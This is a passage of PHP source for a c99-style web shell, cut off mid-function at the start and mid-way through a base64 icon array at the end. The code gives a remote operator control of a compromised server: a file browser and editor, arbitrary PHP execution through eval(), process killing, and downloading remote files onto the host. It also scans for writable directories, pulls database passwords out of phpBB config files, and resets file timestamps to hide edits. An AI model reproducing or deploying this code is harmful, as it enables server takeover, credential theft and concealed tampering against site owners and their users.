          $row[] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."x=img&img=small_dir\" border=\"0\">&nbsp;".$o."</a>";
          $row[] = "CURDIR";
        }
        elseif ($o == "..") {
          $row[] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."x=img&img=ext_lnk\" border=\"0\">&nbsp;".$o."</a>";
          $row[] = "UPDIR";
        }
        elseif (is_dir($v)) {
          if (is_link($v)) {
            $disppath .= " => ".readlink($v);
            $type = "LINK";
            $row[] = "<a href=\"".$surl."x=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."x=img&img=ext_lnk\" border=\"0\">&nbsp;[".$disppath."]</a>";
          }
          else {
            $type = "DIR";
            $row[] =  "<a href=\"".$surl."x=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."x=img&img=small_dir\" border=\"0\">&nbsp;[".$disppath."]</a>";
          }
          $row[] = $type;
        }
        elseif(is_file($v)) {
          $ext = explode(".",$o);
          $c = count($ext)-1;
          $ext = $ext[$c];
          $ext = strtolower($ext);
          $row[] =  "<a href=\"".$surl."x=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."x=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$disppath."</a>";
          $row[] = view_size($a[1]);
        }
        $row[] = date("d.m.Y H:i:s",$a[2]);
        if (!$win) {$row[] = $a[3];}
        $row[] = "<a href=\"".$surl."x=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
        if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
        else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
        if (is_dir($v)) {$row[] = "<a href=\"".$surl."x=d&d=".$uv."\"><img src=\"".$surl."x=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a>&nbsp;".$checkbox;}
        else {$row[] = "<a href=\"".$surl."x=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."x=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."x=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."x=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."x=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."x=img&img=download\" alt=\"Download\" border=\"0\"></a>&nbsp;".$checkbox;}
        if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
        elseif (is_link($v)) {$tab["links"][] = $row;}
        elseif (is_dir($v)) {$tab["folders"][] = $row;}
        elseif (is_file($v)) {$tab["files"][] = $row;}
        $i++;
      }
    }
    $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
    echo "<div class=barheader>.: ";
    if (!empty($fx_infohead)) { echo $fx_infohead; }
    else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; }
    echo " :.</div>
";
    echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=x value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
         "<table class=explorer>";
    foreach($table as $row) {
      echo "<tr>";
      foreach($row as $v) {echo "<td>".$v."</td>";}
      echo "</tr>
";
    }
    echo "</table>".
         "<script>".
         "function ls_setcheckboxall(status) {".
         " var id = 1; var num = ".(count($table)-2).";".
         " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".
         "}".
         "function ls_reverse_all() {".
         " var id = 1; var num = ".(count($table)-2).";".
         " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }".
         "}".
         "</script>".
         "<div align=\"right\">".
         "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".
         "<img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\">";
    if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
      echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
    }
    echo "<select name=x><option value=\"".$x."\">With selected:</option>";
    echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
    echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
    if ($usefsbuff) {
      echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
      echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
      echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
    }
    echo "</select>&nbsp;<input type=submit value=\"Confirm\"></div>";
    echo "</form>";
  }
}
if ($x == "tools") 
{

}
if ($x == "phpfsys") {
  echo "<div align=left>";
  $fsfunc = $phpfsysfunc;
  if ($fsfunc=="copy") {
    if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...
";}
    else { echo "<b>Success!</b> $arg1 copied to $arg2
"; }
  }
  elseif ($fsfunc=="rename") {
    if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!
";}
    else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2
"; }
  }
  elseif ($fsfunc=="chmod") {
    if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!
";}
    else { echo "<b>Perm for $arg1 changed to $arg2!</b>
"; }
  }
  elseif ($fsfunc=="read") {
    $hasil = @file_get_contents($arg1);
    echo "<b>Filename:</b> $arg1<br>";
    echo "<textarea cols=150 rows=20>";
    echo $hasil;
    echo "</textarea>
";
  }
  elseif ($fsfunc=="write") {
    if(@file_put_contents($d.$arg1,$arg2)) {
      echo "<b>Saved!</b> ".$d.$arg1;
    }
    else { echo "<div class=fxerrmsg>Couldn't write to $arg1!</div>"; }
  }
  elseif ($fsfunc=="downloadbin") {
    $handle = fopen($arg1, "rb");
    $contents = '';
    while (!feof($handle)) {
      $contents .= fread($handle, 8192);
    }
    $r = @fopen($d.$arg2,'w');
    if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
    else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }
    fclose($r);
    fclose($handle);
  }
  elseif ($fsfunc=="download") {
    $text = implode('', file($arg1));
    if ($text) {
      $r = @fopen($d.$arg2,'w');
      if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
      else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }
      fclose($r);
    }
    else { echo "<div class=fxerrmsg>Couldn't download from $arg1!</div>";}
  }
  elseif ($fsfunc=='mkdir') {
    $thedir = $d.$arg1;
    if ($thedir != $d) {
      if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
      elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
      else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
    }
    else { echo "Couldn't create current dir:<b> $thedir</b>"; }
  }
  elseif ($fsfunc=='fwritabledir') {
    function recurse_dir($dir,$max_dir) {
      global $dir_count;
      $dir_count++;
      if( $cdir = @dir($dir) ) {
        while( $entry = $cdir-> read() ) {
          if( $entry != '.' && $entry != '..' ) {
            if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
             if ($dir_count > $max_dir) { return; }
              echo "[".$dir_count."] ".$dir.$entry."
";
              recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
            }
          }
        }
        $cdir->close();
      }
    }
    if (!$arg1) { $arg1 = $d; }
    if (!$arg2) { $arg2 = 10; }
    echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<br>";
    echo "<pre>";
    recurse_dir($arg1,$arg2);
    echo "</pre>";
    $total = $dir_count - 1;
    echo "<b>Founds:</b> ".$total." of <b>Max</b> $arg2";
  }
  else {
    if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>
"; }
    else {
      if ($hasil = $fsfunc($arg1)) {
        echo "<b>Result of $fsfunc $arg1:</b><br>";
        if (!is_array($hasil)) { echo "$hasil
"; }
        else {
          echo "<pre>";
          foreach ($hasil as $v) { echo $v."
"; }
          echo "</pre>";
        }
      }
      else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>
"; }
    }
  }
  echo "</div>
";
}
if ($x == "processes") {
  echo "<div class=barheader>.: Processes :.</div>";
  if (!$win) { $handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":""); }
  else { $handler = "tasklist"; }
  $ret = myshellexec($handler);
  if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
  else {
    if (empty($processes_sort)) {$processes_sort = $sort_default;}
    $parsesort = parsesort($processes_sort);
    if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
    $k = $parsesort[0];
    if ($parsesort[1] != "a") {
      $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."x=img&img=sort_desc\" border=\"0\"></a>";
    }
    else {
      $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."x=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
    }
    $ret = htmlspecialchars($ret);
    if (!$win) {
      if ($pid) {
        if (is_null($sig)) {$sig = 9;}
        echo "Sending signal ".$sig." to #".$pid."... ";
        if (posix_kill($pid,$sig)) {echo "OK.";}
        else {echo "ERROR.";}
      }
      while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
      $stack = explode("
",$ret);
      $head = explode(" ",$stack[0]);
      unset($stack[0]);
      for($i=0;$i<count($head);$i++) {
        if ($i != $k) {$head[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
      }
      $prcs = array();
      foreach ($stack as $line) {
        if (!empty($line)) {
          echo "<tr>";
          $line = explode(" ",$line);
          $line[10] = join(" ",array_slice($line,10));
          $line = array_slice($line,0,11);
          if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
          $line[] = "<a href=\"".$surl."x=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
          $prcs[] = $line;
          echo "</tr>";
        }
      }
    }
    else {
      while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
      while (ereg("=",$ret)) {$ret = str_replace("=","",$ret);}
      $ret = convert_cyr_string($ret,"d","w");
      $stack = explode("
",$ret);
      unset($stack[0],$stack[2]);
      $stack = array_values($stack);
      $stack[0]=str_replace("Image Name","ImageName",$stack[0]);
      $stack[0]=str_replace("Session Name","SessionName",$stack[0]);
      $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
      $head = explode(" ",$stack[0]);
      $stack = array_slice($stack,1);
      $head = array_values($head);
      if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."x=img&img=sort_desc\" border=\"0\"></a>"; }
      else { $y = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."x=img&img=sort_asc\" border=\"0\"></a>"; }
      if ($k > count($head)) {$k = count($head)-1;}
      for($i=0;$i<count($head);$i++) {
        if ($i != $k) { $head[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>"; }
      }
      $prcs = array();
      unset($stack[0]);
      foreach ($stack as $line) {
        if (!empty($line)) {
          $line = explode(" ",$line);
          $line[4] = str_replace(".","",$line[4]);
          $line[4] = intval($line[4]) * 1024;
          unset($line[5]);
          $prcs[] = $line;
        }
      }
    }
    $head[$k] = "<b>".$head[$k]."</b>".$y;
    $v = $processes_sort[0];
    usort($prcs,"tabsort");
    if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
    $tab = array();
    $tab[] = $head;
    $tab = array_merge($tab,$prcs);
    echo "<table class=explorer>";
    foreach($tab as $i=>$k) {
      echo "<tr>";
      foreach($k as $j=>$v) {
        if ($win and $i > 0 and $j == 4) {$v = view_size($v);}
        echo "<td>".$v."</td>";
      }
      echo "</tr>";
    }
    echo "</table>";
  }
}
if ($x == "eval") {
  if (!empty($eval)) {
    echo "Result of execution this PHP-code:<br>";
    $tmp = ob_get_contents();
    $olddir = realpath(".");
    @chdir($d);
    if ($tmp) {
      ob_clean();
      eval($eval);
      $ret = ob_get_contents();
      $ret = convert_cyr_string($ret,"d","w");
      ob_clean();
      echo $tmp;
      if ($eval_txt) {
        $rows = count(explode("
",$ret))+1;
        if ($rows < 10) {$rows = 10;}
        echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
      }
      else {echo $ret."<br>";}
    }
    else {
      if ($eval_txt) {
        echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
        eval($eval);
        echo "</textarea>";
      }
      else {echo $ret;}
    }
    @chdir($olddir);
  }
  else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=x value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
}
if ($x == "f") {
  echo "<div align=left>";
  if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
    if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
    else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."x=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
  }
  else {
    $r = @file_get_contents($d.$f);
    $ext = explode(".",$f);
    $c = count($ext)-1;
    $ext = $ext[$c];
    $ext = strtolower($ext);
    $rft = "";
    foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
    if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
    if (empty($ft)) {$ft = $rft;}
    $arr = array(
        array("<img src=\"".$surl."x=img&img=ext_diz\" border=\"0\">","info"),
        array("<img src=\"".$surl."x=img&img=ext_html\" border=\"0\">","html"),
        array("<img src=\"".$surl."x=img&img=ext_txt\" border=\"0\">","txt"),
        array("Code","code"),
        array("Session","phpsess"),
        array("<img src=\"".$surl."x=img&img=ext_exe\" border=\"0\">","exe"),
        array("SDB","sdb"),
        array("<img src=\"".$surl."x=img&img=ext_gif\" border=\"0\">","img"),
        array("<img src=\"".$surl."x=img&img=ext_ini\" border=\"0\">","ini"),
        array("<img src=\"".$surl."x=img&img=download\" border=\"0\">","download"),
        array("<img src=\"".$surl."x=img&img=ext_rtf\" border=\"0\">","notepad"),
        array("<img src=\"".$surl."x=img&img=change\" border=\"0\">","edit")
    );
    echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."x=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
    foreach($arr as $t) {
      if ($t[1] == $rft) {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
      elseif ($t[1] == $ft) {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
      else {echo " <a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
      echo " (<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
    }
    echo "<hr size=\"1\" noshade>";
    if ($ft == "info") {
      echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
      if (!$win) {
        echo "<tr><td><b>Owner/Group</b></td><td> ";
        $ow = posix_getpwuid(fileowner($d.$f));
        $gr = posix_getgrgid(filegroup($d.$f));
        echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
      }
      echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."x=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
      $fi = fopen($d.$f,"rb");
      if ($fi) {
        if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
        else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
        $n = 0;
        $a0 = "00000000<br>";
        $a1 = "";
        $a2 = "";
        for ($i=0; $i<strlen($str); $i++) {
          $a1 .= sprintf("%02X",ord($str[$i]))." ";
          switch (ord($str[$i])) {
            case 0:  $a2 .= "<font>0</font>"; break;
            case 32:
            case 10:
            case 13: $a2 .= "&nbsp;"; break;
            default: $a2 .= htmlspecialchars($str[$i]);
          }
          $n++;
          if ($n == $hexdump_rows) {
            $n = 0;
            if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
            $a1 .= "<br>";
            $a2 .= "<br>";
          }
        }
        echo "<table border=1 bgcolor=#666666>".
             "<tr><td bgcolor=#666666>".$a0."</td>".
             "<td bgcolor=#000000>".$a1."</td>".
             "<td bgcolor=#000000>".$a2."</td>".
             "</tr></table><br>";
      }
      $encoded = "";
      if ($base64 == 1) {
        echo "<b>Base64 Encode</b><br>";
        $encoded = base64_encode(file_get_contents($d.$f));
      }
      elseif($base64 == 2) {
        echo "<b>Base64 Encode + Chunk</b><br>";
        $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
      }
      elseif($base64 == 3) {
        echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
        $encoded = base64_encode(file_get_contents($d.$f));
        $encoded = substr(preg_replace("!.{1,76}!","''.
",$encoded),0,-2);
      }
      elseif($base64 == 4) {
        $text = file_get_contents($d.$f);
        $encoded = base64_decode($text);
        echo "<b>Base64 Decode";
    if (base64_encode($encoded) != $text) {echo " (failed)";}
    echo "</b><br>";
   }
   if (!empty($encoded))
   {
    echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
   }
   echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
        <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
        <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
        <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
        <nobr>[<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
        <P>";
  }
  elseif ($ft == "html") {
   if ($white) {@ob_clean();}
   echo $r;
   if ($white) {capriv8exit();}
  }
  elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
  elseif ($ft == "phpsess") {
   echo "<pre>";
   $v = explode("|",$r);
   echo $v[0]."<br>";
   var_dump(unserialize($v[1]));
   echo "</pre>";
  }
  elseif ($ft == "exe") {
   $ext = explode(".",$f);
   $c = count($ext)-1;
   $ext = $ext[$c];
   $ext = strtolower($ext);
   $rft = "";
   foreach($exeftypes as $k=>$v)
   {
    if (in_array($ext,$v)) {$rft = $k; break;}
   }
   $cmd = str_replace("%f%",$f,$rft);
   echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=x value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
  }
  elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  elseif ($ft == "code") {
    if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
      $arr = explode("
",$r);
      if (count($arr == 18)) {
        include($d.$f);
        echo "<b>phpBB configuration is detected in this file!<br>";
        if ($dbms == "mysql4") {$dbms = "mysql";}
        if ($dbms == "mysql") {echo "<a href=\"".$surl."x=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
        else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";}
        echo "Parameters for manual connect:<br>";
        $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
        foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
        echo "</b><hr size=\"1\" noshade>";
      }
    }
    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
    if (!empty($white)) {@ob_clean();}
    highlight_file($d.$f);
    if (!empty($white)) {capriv8exit();}
    echo "</div>";
  }
  elseif ($ft == "download") {
    @ob_clean();
    header("Content-type: application/octet-stream");
    header("Content-length: ".filesize($d.$f));
    header("Content-disposition: attachment; filename=\"".$f."\";");
    echo $r;
    exit;
  }
  elseif ($ft == "notepad") {
    @ob_clean();
    header("Content-type: text/plain");
    header("Content-disposition: attachment; filename=\"".$f.".txt\";");
    echo($r);
    exit;
  }
  elseif ($ft == "img") {
    $inf = getimagesize($d.$f);
    if (!$white) {
      if (empty($imgsize)) {$imgsize = 20;}
      $width = $inf[0]/100*$imgsize;
      $height = $inf[1]/100*$imgsize;
      echo "<center><b>Size:</b>&nbsp;";
      $sizes = array("100","50","20");
      foreach ($sizes as $v) {
        echo "<a href=\"".$surl."x=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
        if ($imgsize != $v ) {echo $v;}
        else {echo "<u>".$v."</u>";}
        echo "</a>&nbsp;&nbsp;&nbsp;";
      }
      echo "<br><br><img src=\"".$surl."x=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
    }
    else {
      @ob_clean();
      $ext = explode($f,".");
      $ext = $ext[count($ext)-1];
      header("Content-type: ".$inf["mime"]);
      readfile($d.$f);
      exit;
    }
  }
  elseif ($ft == "edit") {
   if (!empty($submit))
   {
    if ($filestealth) {$stat = stat($d.$f);}
    $fp = fopen($d.$f,"w");
    if (!$fp) {echo "<b>Can't write to file!</b>";}
    else
    {
     echo "<b>Saved!</b>";
     fwrite($fp,$edit_text);
     fclose($fp);
     if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
     $r = $edit_text;
    }
   }
   $rows = count(explode("
",$r));
   if ($rows < 10) {$rows = 10;}
   if ($rows > 30) {$rows = 30;}
   echo "<form action=\"".$surl."x=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."x=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  }
  elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
}
echo "</div>
";
}
}
else {
@ob_clean();
$images = array(
"arrow_ltr"=>
"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
"back"=>
"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
"Wg0JADs=",
"buffer"=>
"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
"change"=>
"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
"zMshADs=",
"delete"=>
"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
"download"=>
"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
